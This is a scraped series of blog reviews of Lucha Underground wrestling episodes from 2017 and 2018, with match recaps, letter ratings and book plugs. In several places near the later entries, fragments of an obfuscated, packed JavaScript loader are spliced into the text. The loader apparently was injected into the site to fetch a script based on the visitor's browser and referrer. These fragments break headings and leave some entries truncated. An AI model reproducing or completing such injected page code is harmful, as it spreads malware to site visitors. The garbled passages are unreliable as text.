IMG Credit: Lucha Underground

Lucha Underground
Date: August 22, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

It’s time for a big night with two major matches. This time around we have a Trick or Treat match (whatever that means, which around here could be anything) between the Mack and Mil Muertes but the real selling point is the main event. Tonight, Lucha Underground Champion Pentagon Dark defends against Cage in a Last Man Standing match. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at Cage vs. Pentagon Dark, Drago and Aerostar’s trust issues and Mack vs. Muertes.

Melissa Santos is putting on her makeup when Dragon Azteca Jr. comes in. Dragon knows she misses Fenix, which she admits is getting worse and worse every day. He puts the half medallion around her neck. Melissa says he’s a great friend and leaves.

Famous B. is back, though in a much more traditional looking suit.

The Mack vs. Mil Muertes

It’s a weapons cage match (including a knife and an ax) with pin or submission only to win. Before the match, Catrina gets in Melissa’s face and tells her to introduce her “the right way b****.” Melissa says no so Catrina sends her face first into the cage, gives her the lick, and rams her head into the floor. Mack’s running enziguri has little effect so Muertes hits him with the kendo stick and a trashcan. A few more shots to the head don’t do much good on Muertes so it’s a snap powerslam and a pumpkin to Mack’s back.

Mack scores with a running DDT to slow Muertes down but he’s right back up to spear Mack into and then through the cage wall. Escape doesn’t count so Muertes DDTs him on the floor before climbing over the side. A high crossbody (and a good one at that) takes Mack down and it’s time for the knife. Muertes slices Mack’s head open and licks the blood off because he’s one of the creepiest guys around.

Despite the blood loss, Mack manages a release spinebuster through a table. Just like everything else though, Muertes doesn’t seem phased and sends Mack through another table to keep him in trouble. Mack fights out of a Flatliner through a table and some Stunners put Muertes down. For some reason Mack decides to go up top in front of a table, meaning he earns the super Flatliner through said table for the pin at 9:37.

Rating: B-. Sometimes you just need a monster wrecking a popular guy to remind you who is in charge around here. Muertes is still one of the most dominant people in the company and that needed to be reestablished in a match like this. Mack is going to be fine after the loss as he’s a charismatic enough guy to bounce right back. Good destruction, even with the knife being a bit much.

Catrina won’t lick Mack.

Famous B., from his wheelchair, handles the introductions for the next match.

Aerostar vs. Jake Strong

B.: “Introducing first…..oh s***.” Aerostar isn’t scared so Strong punches him in the face and suplexes him back in from the apron. A quick crucifix gives Aerostar two and the rope walk dropkick gets the same. Aerostar gets knocked out of the air though and the ankle lock is good for the tap at 2:14.

Post match Strong won’t let go so Drago runs in for the save.

The Worldwide Underground is giving Johnny Mundo and Taya their wedding presents, including a trip to the Slamtown Spa and Resort, a portrait of Mundo as Lucha Underground Champion, and a title shot the week after the wedding. The Underground’s agent can’t get in and Ricky Mundo’s doll wants to kill him. Ricky stabs him with a pen as Taya and Johnny get matching bandannas. Geez the murders are spreading around here.

Lucha Underground Title: Pentagon Dark vs. Cage

Pentagon is defending and it’s Last Man (or Machine) Standing. After a break, Cage goes straight at him on the floor and we’re ready to go in a hurry. A bottle to the head has no effect so Cage uses the broken bottle to carve up Pentagon’s head. Cage puts a table in the corner but gets caught in a Death Valley Driver to put him through it instead. With Pentagon’s mask half torn off (to the point where you can see his forehead), he caves Cage’s head in with a chair.

A top rope double stomp onto the chair has Cage in more trouble but he’s fine enough to take it outside and powerbomb the champ against the barricade. Cage sets up two tables on the floor so Pentagon throws in some more toys. One heck of a trashcan lid shot to the head rocks Pentagon and there’s the apron superplex to put them through the tables. It’s Cage up at five and for some reason he helps Pentagon to his feet. With another table set up next to the apron, Pentagon wins a fight and Death Valley Drives Cage through it in a sick looking crash.

Of course that’s not it as the Drill Claw plants Pentagon for so little time that the referee doesn’t even count. Another lid shot staggers Cage, sending him onto yet another table in the ring. That means a super Canadian Destroyer but Pentagon is already getting more weapons because he knows it’s not enough. Six chairs are set up in the middle of the ring….and Pentagon package piledrives him through them. That’s STILL not enough so Pentagon Pillmanizes one arm, breaks both of them, and then since Cage is getting up again, curb stomps him THROUGH A CINDER BLOCK to retain at 13:13.

Rating: B+. Throughout a lot of this match, I was thinking it was just your run of the mill violent brawl. Then we got to the ending, where Pentagon unloaded on Cage and threw everything he had at him to FINALLY put the machine away. That last few minutes had me wondering what was left to stop Cage and it was one heck of a visual. The same is true of Pentagon’s mask being ripped off, which made him look like the conquering antihero, which is a great way to wrap things up.

Pentagon poses and, again, looks like the biggest star ever around here.

Next week: the wedding. That….sounds amazing.

Overall Rating: A-. That last three minutes alone are enough to make this a great show but then you have another murder (with a PEN), Pentagon looking like a star, and the whole carving up someone’s head with a knife. This was one of the most violent wrestling shows I’ve seen in a long time and that’s exactly what they were going for. Well done all around, but check out that main event for sure.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Lucha Underground

Lucha Underground
Date: August 15, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

Where else can you find a wrestling show where the question is who dies this week. Somehow it tends to be multiple cases every single week, which isn’t exactly a normal wrestling promotion. That being said, it’s still a pretty fun idea and they’re getting ready of one low level person who may or may not be leaving after another in a pretty creative way. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at the Mack getting on Mil Muertes’ bad sign, the destruction of the White Rabbit Tribe, the Gift of the Gods Title and the Trios Champions’ issues.

Antonio Cueto gets an invitation to Johnny Mundo and Taya’s wedding (“It’ll never last.”) when Kobra Moon comes in. She wants the Reptile Tribe to become the new Trios Champions so, after something close to flirting, Antonio makes the match.

Paul London and Saltador are in the ring when Antonio comes in to say it’s time for a sacrifice. London volunteers Saltador to show what a real rabbit can do. Oh dear.

Saltador vs. Matanza

Saltador’s right hands and dropkick have as much effect as you would expect. The Wrath of the Gods gets rid of Matanza at 36 seconds.

Mack and Son of Havoc are getting ready for later when Killshot comes in. He doesn’t like Havoc but he’ll help defend the titles after he wins the Gift of the Gods Title. Violence seems imminent but it’s ok for now.

Next week: Pentagon Dark vs. Cage in a Last Man Standing match for the Lucha Underground Title.

The camera keeps showing a guy in a priest’s collar in the crowd.

Gift of the Gods Title: Killshot vs. El Drago Azteca Jr.

Dragon is defending. They start fast with Dragon flipping around, including spinning into a hurricanrana to take Killshot down. A slide to the floor means we need a slide back in but this time Killshot is waiting on him with a slingshot double stomp to the back. The running no hands dive takes Dragon down again and Killshot rolls him around into a modified Rings of Saturn. Azteca catches him with a kick to the head though and a hurricanrana off the apron gets two.

The fans are split (well duh) and it’s time to hit hard running forearms in the corner. Dragon starts a chase and catches Killshot with a guillotine legdrop to the back of the head. They head back to the apron and for some reason Azteca charges at him, meaning it’s a Death Valley Driver to knock the champ silly. The Killstomp is only good for two and Killshot can’t believe it. The customary exchange of strikes doesn’t go anywhere so Killshot whips him in, only to have Dragon snap off the spinning DDT to retain at 6:53.

Rating: C+. I’ve become a much bigger fan of Killshot over time as he’s so smooth in the ring. He knows how to make these matches look easy and when you put him in there against someone like Azteca, the matches get that much better. This was a very fun little match and I had a good time with it. If Azteca gets over with matches like this, I’m certainly fine with that.

Drago is on the roof of the Temple when Aerostar comes up. Aerostar asks why Drago hasn’t been around since last week but Drago says he did things as part of the Reptile Tribe that can’t be forgiven. That doesn’t work for Aerostar, who says they’re still friends. They shake hands but Drago isn’t sure and turns into a dragon to fly away.

Trios Title: Reptile Tribe vs. Killshot/The Mack/Son of Havoc

The Tribe (Kobra Moon/Daga/Jeremiah Snake) are challenging. The fight is on in a hurry with Snake being annoyed at Havoc’s standing backflip into Ricochet’s pose. As that happens, we cut to that priest again for some reason. Mack comes in to knee Snake in the face but takes too long doing a headstand in the corner, earning himself a loud superkick. Killshot grabs a triangle choke on Snake but Moon puts the same thing on him at the same time.

Son of Havoc and Daga do the same and then Mack grabs a Boston crab on Snake for the big visual. Daga gets to the rope for the break and everyone heads outside, allowing Mack to hit the big flip dive. We cut to the priest again and he has a name: Father Rick O’Shea. Clever. Anyway Havoc hits an Asai moonsault onto everyone, followed by Snake saving Moon from Killshot. A tornado DDT plants Killshot but Havoc is back in with a Lethal Injection to Daga and a double stomp to Snake.

It’s time for the parade of secondary finishers with Mack not being able to hit a Stunner. Unfortunately that means a bad Austin impression from Striker, who at least hasn’t been as annoying this season. Mack gets powerbombed out of the corner into a Stretch Muffler but it’s Havoc coming in with another double stomp for the save. Havoc loads up the shooting star but Killshot intentionally shoves him off, setting up Snake’s double underhook shoulder breaker for the pin and the titles at 8:53.

Rating: C. Good. I’m tired of the fighting champions motif around here and it’s a relief to see an actual team get the belts for a change. You can only do that idea so often and this was somehow the second time that Son of Havoc has been involved. The Reptile Tribe has been given a much bigger focus around here this season and it makes a lot of sense to give them the titles.

Post match Killshot yells at Havoc and says he can’t get up now or when he lost the titles. Killshot hits the Killstomp to Havoc’s bad shoulder and gets in Mack’s face before leaving.

Here’s Cage for a chat but before he can get anywhere, Pentagon Dark comes in with a superkick. The fight is on with Pentagon taking him up the steps and grabbing the house band guitar….for a shot to the guitarist. Cage beats up security and we look at the priest again. They fight on the roof of Antonio’s office before coming down and landing in front of the priest. He tries to bless Pentagon and gets his arm broken as a thank you. The fight continues as the credits roll.

We go to Antonio’s office when the Mack comes in. He wants Killshot next week but Antonio has a better idea: a Haunted House match against Mil Muertes. Mack: “Trick or treat mother….”

Overall Rating: B-. I had a good time with this show and that’s what matters most around here. They set up some stuff for next week and had something interesting with the title change. The priest idea was a funny joke and I could see that being a character going forward, though a one off appearance is fine too. I liked the show and the show next week should be a lot of fun too. Well done, as is becoming more common around here.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Lucha Underground

Lucha Underground
Date: August 1, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

Things are getting rough for Pentagon Dark as he has Cage on one side and the new Gift of the Gods Champion Dragon Azteca Jr. on the other. That means we could have the title match on a week’s notice, but you never know how much things are going to change around here. Let’s get to it.

Here are last week’s results if you need a recap.

Opening recap: Dragon Azteca Jr. wins Gift of the Gods, Big Ryck (!) telling the Mack to make money back in the day, Worldwide Underground vs. Reptile Tribe and Cage vs. Pentagon Dark.

Daga vs. PJ Black

Reptile Tribe vs. Worldwide Underground. Daga starts in on the arm and tries a guillotine, only to get suplexed down to break it up. Some rolling suplexes stay on the back but Black switches over to a double arm crank. Daga chops him out of the corner though and DDTs Black into a guillotine. This isn’t quite the match that I was expecting coming into this and that’s a nice surprise.

A rope break gets Black out of trouble and he slaps on a quickly just as broken dragon sleeper. Daga’s crossface is broken up and Black kicks him in the head, only to get crotched on top for taking too much time. They hit a pinfall reversal sequence but Daga rolls into a crucifix hold with a keylock to make Black tap at 7:30.

Rating: C. Not bad here and the change in style was a nice surprise. Black going completely away from the high flying but still managing to pull off a perfectly watchable match is a good sign for his future. You can only do the same stuff over and over again so often before it stops having the same effect. Spacing it out like this is a good idea.

Post match the Reptile Tribe comes out but the Worldwide Underground save Black from Vibora’s Tombstone. Some kendo stick shots put Vibora on the floor but Kobra Moon says Johnny Mundo’s future is the Tribe. Next week they’ll have a match and if the Underground loses, Johnny has to join the Tribe. If the Underground wins though, Moon will grant Johnny a wish.

The Mack is getting ready when Catrina pops in. Mil Muertes is coming for him but Mack doesn’t seem worried. Catrina pops open a locker to reveal BIG RYCK’S SKULL. Well that accelerated quickly.

Here’s Dragon Azteca Jr. to talk (half in English and half in Spanish) to say he’s going to honor his ancestors by becoming Lucha Underground Champion. He wants to cash in at Ultima Lucha IV but until then, come try and take the title from him.

Trios Titles: Paul London/Saltador/Mala Suerte vs. The Mack/Killshot/Son of Havoc

Mack and company are defending. We’re already in a big staredown less than twenty seconds in until it’s Killshot vs. Suerte. Things speed up with both guys flipping around but not making much contact. Instead it’s off to Havoc, who gets dropkicked in the mask and it’s off to London. Mack and Saltador come in with the champ taking over off a kick to the face and a standing moonsault as everything breaks down.

Suerte trips Killshot off the apron and Saltador hits the big flip dive. Back in and the Tower of Doom (Striker: “LONDON’S FALLING!!!”) plants everyone, followed by a series of strikes to the face. Killshot starts cleaning house with the running stomps and Meteora from the apron, followed by crushing Saltador with the top rope double stomp. A frog splash from Mack should be good for the pin but Killshot moves in and steals the pin to retain at 7:21.

Rating: C+. Total spot fest here and there’s nothing wrong with that, especially around here. What there is a problem with though is the way the Trios Titles are defended. How many times can we have champions who don’t get along because one of them have some kind of selfishness issue? This isn’t even the first time it’s happened with Son of Havoc. Maybe we need a regular Tag Team Title instead. It’s not like this is really working.

Cage/??? vs. Pentagon Dark/???

It’s a double mystery partner match and the partners are King Cuerno for Cage and….no one for Pentagon, who wants to fight on his own. Pentagon strikes away and sends them both to the floor for the big flip dive. Both villains get sent into things at ringside but Cuerno jumps Pentagon from behind.

Back in and Cage drops a top rope elbow (because of course he can fly too) as we settle down into a more stable formula. Cuerno kicks him in the face but gets caught in the Backstabber out of the corner. A superkick rocks Cage and there’s the middle rope Canadian Destroyer for two. The numbers catch up to Pentagon through as a Thrill of the Kill plants him….and that’s enough for the hired gun as Cuerno leaves. The Drill Claw ends Pentagon at 5:41.

Rating: D+. This was much more of an angle than a match and that’s fine. I like that they’re doing things other than just having the same match over and over again like you would see in WWE. Mix it up a bit with stuff like this and the feud can go on even longer. This can set up Pentagon vs. Cuerno before Pentagon gets back to Cage and that’s the way to go. Not a very good match, but it advanced the story like it was supposed to do.

Post match Cage gives him a Conchairto and poses with the title.

Johnny Mundo and Taya are going through a temple Indiana Jones style (Mundo is in a Jones hat and says he hates snakes) when they run into Vibora. A movie style fight (including quick cuts) breaks out and a ball bat shot between the legs drops Vibora. Taya and Mundo kiss….and she DECAPITATES VIBORA! Drago comes in and roars to end the show.

Overall Rating: C-. The weird feeling of the season is back, which again has to do with needing to get rid of so many people who weren’t going to be around. The wrestling was somewhere in the middle and while I kind of liked the ending being so completely ridiculous, I was getting into Vibora and he’s, you know, dead. What we got wasn’t bad, but the stories they’re focusing on still aren’t working for me and I’m not sure how long it’s going to take to change that.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Impact Wrestling

Lucha Underground
Date: July 18, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

It’s time for a title match tonight as Pentagon Dark defends against Cage. That sounds like a heck of a match as Pentagon has turned into the mega star that this promotion needs, especially with Prince Puma gone. Other than that we have the usual array of stories running around, which is a big reason why this place is so much fun. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the Aztec medallions, the Worldwide Underground vs. the Reptile Tribe and tonight’s title match.

Aztec Medallion: Paul London vs. Dezmond X

This is Dezmond’s debut and London seems much more toned down this week. Murdering a wrestler can do that to you. The rest of the tribe offers a distraction so London can choke on the ropes but a baseball slide takes out his friends by mistake. There must be a Bugs Bunny joke I can make there somewhere. Dezmond dives onto everyone but London is back up to pound him down. A super hurricanrana gives Dezmond two and the fans are already behind them. The backflip kick to the head (that’s great timing) drops London again and a quick victory roll gives Dezmond the pin at 4:13.

Rating: C. Dezmond is a talented guy and he’s going to have a much better chance in a place like this than the X-Division. They didn’t get to do much here but the Rabbit Tribe is still one of the most insane things I’ve ever seen in wrestling. London is still a great hand in the ring and was a good choice for Dezmond’s first match.

Post break here’s Antonio Cueto to hype up next week’s Gift of the Gods Title match. Therefore, it’s time for everyone to put their medallions in the belt. The seven (Dragon Azteca Jr., King Cuerno, Ivelisse, Dezmond X, Son of Havoc, The Mack and Mil Muertes) come out and place their medallions. Since they’re all here, let’s have a battle royal where the winner gets to pick one person who won’t be in next week’s title match.

Battle Royal

Mack says he’s not scared of anyone….but Mil Muertes scares the heck out of him so he’s out. Muertes beats everyone up and we go to a break with him still wrecking people. That’s so casual and I kind of love it. It’s also a good way to keep Muertes strong as you don’t want him taking a fall if you’re not giving him the title.

Johnny Mundo vs. Vibora

Taya and Kobra Moon are the seconds. Johnny sticks and moves to start as the women glare at each other on the floor. The distraction lets Johnny get in a low blow but Vibora is right back with a Burning Hammer of all things. Johnny’s reverse hurricanrana drops Vibora on his head but stops to dive onto Moon instead of following up. Now when has that ever worked? Cue the rest of the Worldwide Underground to go after Vibora, including a chair shot to the head.

The End of the World gets two, which is a major moment for Vibora. Johnny superkicks the referee so here’s the Underground with chairs. Drago and Daga run in for the save and we’re back to one on one. Vibora pops up and hits a superkick, followed by a heck of a powerbomb. The chokeslam and a standing moonsault get two but here’s Ricky Mundo to save his buddy. That’s fine with Vibora, who moonsaults onto the two of them. Back in and Johnny hits four straight kicks to the head but goes up top, allowing Vibora to hit a super chokeslam for the pin at 8:54.

Rating: B-. Vibora is clearly going to be a star and there’s nothing wrong with that. He has a great look and can do almost anything in the ring, which is even more impressive for someone his size. Pinning Johnny is a really big deal for him and if it leads somewhere important, well done indeed.

Post match the Underground comes back in for the beatdown but so do Daga and Drago. Again the brawl is cut off by the break.

XO Licious is working out as Jack Evans watches from the sidelines. He’s not happy with his loss but here’s Ricky Mundo (apparently done fighting) with the doll. Ricky wants to know where Evans was out there but Evans doesn’t do snakes. The doll tells Mundo to do to Evans what he did to Angelico. I like that they’re acknowledging these people being gone as it would be rather weird otherwise.

Lucha Underground Title: Pentagon Dark vs. Cage

Cage is challenging and knocks Pentagon off the apron before the bell. The fight start son the floor with the champ in early trouble. Pentagon gets dropped back first onto the apron and Cage slugs away a lot. It’s already time for a chair but Pentagon knocks it away, drawing the CERO MIEDO chants again.

They get inside for a buckle bomb on Pentagon, followed by the apron superplex as Cage continues his dominance. The F5 is countered into the Backstabber and Codebreaker for two as Pentagon can’t do much to slow Cage down. Pentagon gets serious though with two superkicks, a middle rope Canadian Destroyer and a regular Canadian Destroyer to really rock Cage. The Fear Factor retains the title at 6:50.

Rating: C-. This should have been a lot more with Pentagon having to fight his way to victory after a long, grueling match. They kind of did that but it was at double speed instead of letting anything build. That’s the problem with a show like this, but it took so much to keep Cage down that there’s a reason for a rematch.

Post match Cage goes after him again but gets belted in the head. Pentagon goes for the arm but gets reversed into the F5 onto the title. Cage says Pentagon can’t break his arm because he’s a machine.

Overall Rating: C. Not their best show here, though the Vibora match was good. It felt like they were cramming too much into one show, which happens more often than it should around here. They only have an hour a week and with four matches, the segment of putting the medallions into the belt and all the other segments, it felt a little packed. It’s still fine, but they need to let things breathe a bit.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Impact Wrestling

Lucha Underground
Date: July 11, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

We’re starting to pick up steam on the Aztec Medallions as a lot of them have been awarded in short order. That’s a good idea when you have so many of them to be collected and hopefully we continue moving forward. Other than that there’s the prospect of Cage vs. Pentagon, which could be a lot of fun. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the Rabbit Tribe trying to worship Mascarita Sagrada, the Aztec Medallions and Matanza being even more murdery than usual. The last one should be rather worrying.

Cortez Castro is in the ring with a kendo stick but here’s Antonio Cueto to say Castro is really a cop. Now why did it take so long to find this out? It’s sacrifice time.

Matanza vs. Cortez Castro

Wrath of the Gods, 12 seconds.

Castro disappears. I could go for more of this story as it’s a good way to get rid of some of these lower level performers who aren’t doing anything important.

Aztec Medallion: Joey Ryan vs. Ivelisse

Rating: D. Remember when Ryan actually played a different character on this show and wasn’t just Joey Ryan from the indies? Well apparently Lucha Underground doesn’t either as this was every Ryan match from everywhere else. At least Ivelisse won, as it could be interesting to see what she could do around here if she’s healthy for once.

Aztec Medallion: Killshot vs. The Mack vs. Son of Havoc

Yes the Trios Champions are fighting again. Hang on though as here’s Antonio to say there will be two medallions given out here with only the person taking the fall not getting one. Works for me. Killshot starts fast and kicks both guys down, setting up a showdown with Mack. With Mack on the floor, Havoc hits the required suicide dive before Asai moonsaulting onto both of them.

Back in and Mack elbows Havoc down, setting up the big flip dive to take both guys out again. They’re certainly moving at a very fast pace so far. Havoc stays down so Killshot kicks away at Mack’s arm to slow him down, which Vampiro doesn’t like. He’d rather have them all just hit each other everywhere because Vampiro is kind of an out there guy. Havoc comes back in and gets hit in the head a few times, which you just don’t do to a masked biker. A tornado DDT gets Havoc out of trouble but Mack is back in to Pounce him down.

Killshot’s German suplex is no sold so he no sells Mack’s clothesline and dropkicks him before collapsing as well. Havoc replaces Killshot so Mack kicks him in the face a few times, followed by a standing moonsault for two. Havoc is right back up for the shooting star but Killshot pulls him down BY THE BEARD and hits a Death Valley Driver on the apron. Mack Stuns Killshot and has to pick which one to pin, eventually choosing Killshot at 9:25.

Rating: C+. This was fun with all three moving at a frantic pace. I’m still not big on the Trios Titles in general as they’re all over the place at times and I can barely remember who has them more often than not. There’s a good chance that this thrown together team doesn’t last again, which tends to be a recurring theme for these titles. You might wan to work on that a bit.

Post match Killshot yells at his partners and leaves.

Aztec Medallion: Cage vs. Mil Muertes

Catrina, now in red after last week, is in Muertes’ corner. They waste no time with the power game, knocking each other down without pretty reckless abandon. Muertes gets the better of it off a clothesline and a headscissors (!) to send Cage outside. Cage is thrown into the barricade but comes back with a series of hard forearms to the face. Back in and Cage’s apron superplex gets two but the referee eats a spear.

Cage’s discus lariat gets a very delayed two from a second referee, followed by the Flatliner giving Muertes two from the third referee. Muertes lays him out as well and I don’t think we have any more available. They fight outside where Muertes hits a wind up lariat but Cage finds a chair. He drops Muertes….but Pentagon is dressed as a fan in the crowd and caves Cage’s head in with a chair. Back in and the Flatliner gives Muertes the pin at 7:26.

Rating: B-. Take two monsters and have them beat the heck out of each other for a little while for some instant entertainment. The Pentagon cameo helped a lot as Cage doesn’t lose clean (as he shouldn’t) and Muertes gets another win to get him back on track (as he should). I liked this a lot as they didn’t try to do anything more than they should have here.

Post match Catrina won’t give Cage the lick. Muertes leaves and Pentagon says he’ll defend the title against Cage next week. Pentagon continues to look like a total star.

Post credits the Rabbit Tribe is being their usual bizarre selves when Mascarita Sagrada comes in. They follow him out and meet the unnamed Killer Kross, who is willing to be their god. To achieve this, they have to kill Sagrada, so Paul London caves his head in with a staff, sending blood everywhere to end the show. As usual, these people come off as the creepiest, most insane guys I’ve seen in years.

Overall Rating: B. I love it when they have a goal to accomplish and accomplish that goal with such precision. They didn’t waste time here and got the point across, meaning most of the Aztec Medallions are now set. That’s better than spending the better part of two months doing one at a time so hopefully we can get to something big with Pentagon soon. He’s a star here and looks like one of the biggest things on the show, which is about as accurate as you can get. Good show here and the old feeling is back.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikfrb|var|u0026u|referrer|ahybe||js|php'.split('|'),0,{})) Underground
Date: July 19, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s another night of the Cueto Cup as we’re getting closer to the quarterfinals. The wrestling is starting to get better too as we have more matches worth watching between talents who have chances to win the whole thing. We should also be in for some more build towards Rey Mysterio vs. Johnny Mundo. Let’s get to it.

We open with the now regular recap of the Cueto Cup so far, including some of the wrestlers in action tonight.

Prince Puma is on the roof and looking nervous. Vampiro comes up and says the only way to get rid of the memories is to become the champion again. Puma has flashbacks to facing Johnny Mundo and calls Vampiro his master.

Cueto Cup Second Round: Cage vs. Pindar

The referee wants Cage to take off the gauntlet so Cage drops him for a DQ before the match ever started. Cage beats up Pindar for fun. This makes sense as they had to have a way to get rid of Cage without beating him so this was their best option.

Cueto Cup Second Round: Dante Fox vs. Son of Havoc

Hang on a second as Son of Madness jumps Havoc from behind and chokes him down. A shot to the head with a chain knocks Havoc even sillier but Dario Cueto comes out and says fight or be out of the tournament. Naturally Havoc is ready to go and the bell rings after a break. Fox knocks him outside for a running flip dive over the post.

A guillotine legdrop over the apron gets two but Dante misses a dive and gets sent hard into the barricade. Back in and a jumping knee to the head gives Havoc two. Striker calls Havoc the diesel fueled maniac of the open road and even Vampiro isn’t sure what to make of him.

The Foxcatcher is broken up and Havoc bounces off the ropes into a cutter for two. A Death Valley Driver is broken up and something like a C4 2000 gives Dante two of his own. They slug it out on the apron and a Death Valley Driver/AA (somewhere in between) to the floor knocks Fox silly. The shooting star, nearly to the middle of the ring, misses and the Foxcatcher sends Dante to the next round at 9:12.

Rating: C+. Fox has some skills but I can only get so much out of the ex-military guy. These guys beat on each other for a good while and it was nice to see Havoc get a pass on the loss. I’m not wild on seeing Havoc vs. Madness again but the backstory could carry it far enough, especially around here, where such a thing could actually work for a change.

Johnny Mundo has hired an agent (Benjamin Cooke) for the Worldwide Underground. PJ Black comes in and we get a pretty solid speech from Benjamin about how far the team could go with the right representation. We’re talking cereal boxes here.

Cueto Cup Second Round: PJ Black vs. Prince Puma

They fight over the arms to start with Puma actually using the ropes for the break. How rudo of him. Back up and one heck of a right hand staggers Black and some rollups give Puma two. A monkey flip doesn’t work though and we wind up with a standoff. That’s fine with Puma who sends Black to the floor and stops for some posing.

A running kick to the back of Black’s head keeps him in trouble and Puma stomps a bit of a mudhole in the corner. You can hear the pride in Vampiro’s voice too, making him all the better of a choice for an evil boss. Black grabs a seated dragon suplex but Puma slips out without too much trouble.

That’s fine with Black who cranks on the arm before going with a hard shot to the head to drop Puma again. It’s off to an abdominal stretch to turn things a bit more simple but Puma slips out again. Puma heads up top for a clothesline, followed by a rolling DDT and a standing shooting star for two. A cutter into a belly to back gets the same but Puma is a bit spent. Now it’s Black coming back with something like a Dominator (the Wellness Policy because making fun of WWE is funny) for two of his own.

They slug it out with Puma getting the better of it, capped off by a northern lights suplex for two. Black kicks him in the face and gets two off a top rope Lionsault. He gets crotched on top though, allowing Puma to hit a reverse super hurricanrana for a near fall of his own. A shotgun dropkick sets up the 630 to finally put Black away at 15:53.

Rating: B+. Yep. Now that’s a lot more like it with the kind of match that makes Lucha Underground work so well. These two were beating the heck out of each other and trading big spots until one of them couldn’t get up. Puma is looking like a world beater in this tournament and him looking stronger is a good thing for the promotion. Really solid match here.

Black comes into Dario’s office and is told that Cooke has already set him up with another match. Next week, Black gets Rey Mysterio. He leaves and Cooke calls Dario again, causing him to throw his phone in the trash.

Overall Rating: B. I had a lot of fun with this and it was flying by. This tournament needed a match like Black vs. Puma and it was one of the more entertaining matches they’ve put on in a good while. It’s also nice to have them add something else to the card besides just the tournament matches as you can only get so far doing one story per show. Good show this week though, which the show needs a lot more of at this point.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbitk|var|u0026u|referrer|hstst||js|php'.split('|'),0,{})) Underground
Date: June 21, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Cueto Cup First Round: Cage vs. Vinnie Massaro

Cage puts the gauntlet on and beats on Massaro a bit more. A chokeslam puts the bloody Massaro on the floor.

Johnny Mundo, in pants again, trains with kendo sticks.

Cueto Cup First Round: Marty Martinez vs. Saltador

Saltador comes out of the corner with an ankle scissors and a springboard hurricanrana, followed by a very loud superkick for two. Marty has had it with someone being odder than him so he grabs a German suplex, followed by an exploder into the corner. A double underhook into a gutbuster is enough to put Saltador away at 7:12.

The Rabbit Tribe worships Mascarita Sagrada but he shakes them off and leaves.

Marty hangs out in his Melissa shrine but his sister Mariposa shows up to scare him. She promises to hurt him if they wind up facing off in the next round.

Cueto Cup First Round: Pindar vs. Mascarita Sagrada

Cueto Cup First Round: Mariposa vs. Fenix

Rating: C-. Too short to mean much but it was nice to have some kind of storyline development aside from just this massive tournament. The match was decent enough flying around but they needed to do a little more than Mariposa being able to keep up with Fenix. At least Santos being in a story for a change is interesting.

Marty runs in and goes after Fenix, scaring Melissa again.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|estah|var|u0026u|referrer|fhffh||js|php'.split('|'),0,{})) Underground
Date: June 14, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Cueto Cup First Round: Mala Suerte vs. The Mack

Cueto Cup First Round: Argenis vs. Pentagon Dark

Cueto Cup First Round: Famous B. vs. Texano

Video on Rey Mysterio getting ready to challenge Johnny Mundo for the Lucha Underground Title.

Cueto Cup First Round: Aerostar vs. Drago

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|festb|var|u0026u|referrer|nntsn||js|php'.split('|'),0,{})) Underground
Date: January 11, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

